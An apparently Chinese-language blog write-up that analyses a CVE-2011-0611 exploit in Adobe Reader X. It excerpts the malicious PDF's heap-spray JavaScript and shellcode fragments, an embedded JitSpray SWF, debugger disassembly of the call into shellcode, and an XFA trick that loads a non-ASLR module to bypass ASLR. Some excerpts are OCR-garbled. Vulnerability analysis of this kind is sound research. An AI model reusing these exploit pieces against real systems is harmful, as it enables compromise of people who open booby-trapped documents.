cve-2011-0611_exploit_Adobe Reader X under10.1初探

hellok

废话
本文分析所采用的操作系统为Windows 7 旗舰版，使用到的工具有：  Windbg + IDA Pro 5.5+ OLLYDBG + IMMUNITY。

POC分析
具体参见http://www.exploit-db.com/exploits/17473/

分析PDF文件格式，
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13 <</Type/Action/S/JavaScript/JS € 0 R>>
14 endop;
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16 <</Lengeh 6>
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// Tatsumaki DEP/ASRL Bypass
// snake ( Shanriyar.j < at > gmail )
// twitter.co/ponez
JIILIEITIEIEITI1011171111111111111] RDDING [1/1/111111111111111111111111111111.
var Shellcode = unescape(
"$u41413u4141%u41413u41413u41413u4141%u41413u41413u41413u41413ud141%3ud141" +




观察发现PDF文件由一个个obj组成，样本文件主要由3部分组成，

Javascript模块，主要是用来构造内存空间，SHELLCODE就跳转到这里

[image: image2.png]var SprayNop = unescape( "$u0000%u0000" );:
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多次调试发现，加载JS后，都在Js申请字符串在

 地址=11020000

 大小=00100000 (1048576.)

 属主=11020000 (自身)

 区段=

 类型=Priv 00021004

 访问=RW

 初始访问=RW

处，且保持不变，我们把shellcode开头%u4141全部改写成%ucccc即可断下来

最终跳转到shellcode的调用来自authplay.dll模块，shellcode中的ROP都来自crytome2.dll模块，调试时断loadlibrary加载到crytome2.dll 和加载到 来自authplay.dll中的调用deghelp.dll，可以大概看出过程

.text:30115023 loc_30115023:                           ; CODE XREF: wrong_proc_herer+195
j

.text:30115023                 cmp     edi, ebx

.text:30115025                 jz      loc_301163DA

.text:3011502B                 mov     eax, [edi]

.text:3011502D                 push    ebx

.text:3011502E                 push    [ebp+74h+var_4]

.text:30115031                 mov     ecx, edi

.text:30115033      mov     byte ptr [ebp+74h+a11111111111111111111111111+3], 1

.text:30115037                 call    dword ptr [eax+8] ; 就是这里！！调用SHELLCODE了

查看调用树
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后发现实际直接由偏移调用的。
2.
3D加载FLASH模块，ADOBE解析这些内容调用了ACTIONSCRIPT的AVM1（action script virtual machine）
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182 endob3
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这里有个内嵌的swf文件。内容见附件1.swf。反编译参见1.txt这里使用swftools工具

看到了些让人兴奋的字段，

sealed protectedNS([protected]JitSpray) class <q>[public]::JitSpray extends <q>[public]flash.display::Sprite{

     staticconstructor * =()(0 params, 0 optional)

    [stack:1 locals:1 scope:8-9 flags:]

    {

        00000) + 0:0 getlocal_0 

        00001) + 1:0 pushscope 

        00002) + 0:1 returnvoid 

    }

Jitspray！！

可惜，再往下看

 method * <q>[packageinternal]::pageLoadExpl=()(0 params, 0 optional)

    [stack:2 locals:4 scope:9-10 flags:] slot:0

    {

        00000) + 0:0 getlocal_0 

        00001) + 1:0 pushscope 

        00002) + 0:1 pushstring "4357530ACC05000078DA4D546。。。。。。。。。。。。。。。。。

83C68339D644CDD433FF142DE4C640DD31E24ABE5D2905469F692A69A5AEF78D1DC932C3C9BD5A2B96C114C3D6BC080A194F379B269686692FC240A6A7A442D1942562B52355A5B05AB84C318EAC028B6C9E6CBC86DC18506C1BA439AD72F6FFE6ABBF150201E399621B4780322B8F27F017DB65CA7"

        00003) + 1:1 setlocal_1 

        00004) + 0:1 getlocal_0 

        00005) + 1:1 getlocal_1 

        00006) + 2:1 callproperty <q>[packageinternal]::hextobin, 1 params

        00007) + 1:1 coerce <q>[public]flash.utils::ByteArray

一个超长字符串，又hextobin,这里加载了第二个swf文件（参加附件2.swf）

我们再次用swfdump它，可惜，ERROR，无法正确输出，这里是一个畸形swf文件。

我们改为输出字符串，得到如下结果：

......
0x00000480 00 44 01 88 24 01 1E 00 53 74 72 69 6E 67 00 6C .D..$...String.l

0x00000490 65 6E 67 74 68 00 63 68 61 72 43 6F 64 65 41 74 ength.charCodeAt

0x000004A0 00 66 72 6F 6D 43 68 61 72 43 6F 64 65 00 63 68 .fromCharCode.ch

0x000004B0 61 72 41 74 00 63 61 73 65 00 54 65 78 74 46 6F arAt.case.TextFo

0x000004C0 72 6D 61 74 00 73 69 7A 65 00 41 42 43 44 45 00 rmat.size.ABCDE.

0x000004D0 56 6B 64 75 68 67 52 65 6D 68 66 77 31 73 75 72 VkduhgRemhfw1sur

0x000004E0 77 72 77 7C 73 68 00 64 65 66 61 75 6C 74 00 67 wrw|sh.default.g

0x000004F0 65 74 53 69 7A 65 00 47 64 77 68 31 73 75 72 77 etSize.Gdwh1surw        

0x00000500 72 77 7C 73 68 00 77 77 72 73 75 72 77 40 77 2B rw|sh.wwrsurw@w+          

0x00000510 74 68 00 67 65 74 54 65 78 74 45 78 74 65 6E 74 th.getTextExtent

//猜测Gdwh1surwrw|sh.wwrsurw@w+th       截取失败。

0x00000520 00 7A 77 73 77 33 73 75 72 77 72 77 2B 74 68 00 .zwsw3surwrw+th.

0x00000530 67 65 74 44 61 79 00 67 65 74 46 6F 6E 74 4C 69 getDay.getFontLi

0x00000540 73 74 00 54 65 78 74 46 69 65 6C 64 00 4D 61 74 st.TextField.Mat

0x00000550 68 00 63 72 65 61 74 65 45 6D 70 74 79 4D 6F 76 h.createEmptyMov

0x00000560 69 65 43 6C 69 70 00 74 68 69 73 00 49 73 52 75 ieClip.this.IsRu

0x00000570 6E 6E 69 6E 67 00 73 65 74 4D 6F 64 65 00 4C 6F nning.setMode.Lo

0x00000580 61 64 56 61 72 73 00 67 65 74 44 65 70 74 68 00 adVars.getDepth.

0x00000590 63 61 73 65 20 00 20 63 61 73 65 00 44 61 74 65 case...case.Date

0x000005A0 00 63 6F 6E 74 69 6E 75 65 00 4C 12 99 02 00 11 .continue.L.....

0x000005B0 00 96 27 01 FB 68 DB 39 D5 54 73 34 0F 46 40 9E ..'..h.9.Ts4.F@.

........

调试发现实际就是在解析wwrsurw@w+th时发生了错误。怎么产生的呢，不解啊，

猜测是Gdwh1surwrw|sh.wwrsurw@w+th截取失败。

应该是超长循环调用3层结构N次（处理2.SWF文件）。中间应该是处理完整个SWF文件后，触发中间某次产生的指针覆盖，跳转到SHELLCODE（0x11111110处）

触发时

$+11402D >  53              push    ebx

$+11402E >  FF75 70         push    dword ptr [ebp+70]

$+114031 >  8BCF            mov     ecx, edi

$+114033 >  C645 7F 01      mov     byte ptr [ebp+7F], 1

$+114037 >  FF50 08         call    dword ptr [eax+8]                ; MAYBE[EDI]污染源

$+11403A >  50              push    eax                              ; 

edi=27FF73C8

加载NO ASLR模块

7 0 obj

<</XFA 8 0 R>>

endobj

8 0 obj

<</Length 372>>

stream

<?xml version="1.0" encoding="UTF-8"?>

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

<config xmlns="http://www.xfa.org/schema/xci/2.6/">

<present><pdf><interactive>1</interactive></pdf></present>

</config>

<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">

<subform name="form1" layout="tb" locale="en_US">

<pageSet></pageSet>

</subform></template></xdp:xdp>

endstream

Endobj

加载此字段即可加载cryptocme2.dll 模块。绕过ASLR

附几张过程图

[image: image5.png]File Vier Zom Mave lhlp

Ki| o

BN [G0) 6 nodes § vice segats, 0 cromings




[image: image6.png]atl U _S8IFiNeD
mp  [ebp+58hvarg C], ebx
iz short loc_30197Dun

5 | E—

EAN L

jor duord ptr [esi+1DOn], 4on|

BN LL

[1oc_so197058:

mou  cl, [keytoRD2]
linc keyuoro2

100, 00%

[Ciie, 4557 | G54, 181)

0015752 B019TIS2: dealwi th keywordi2Tl





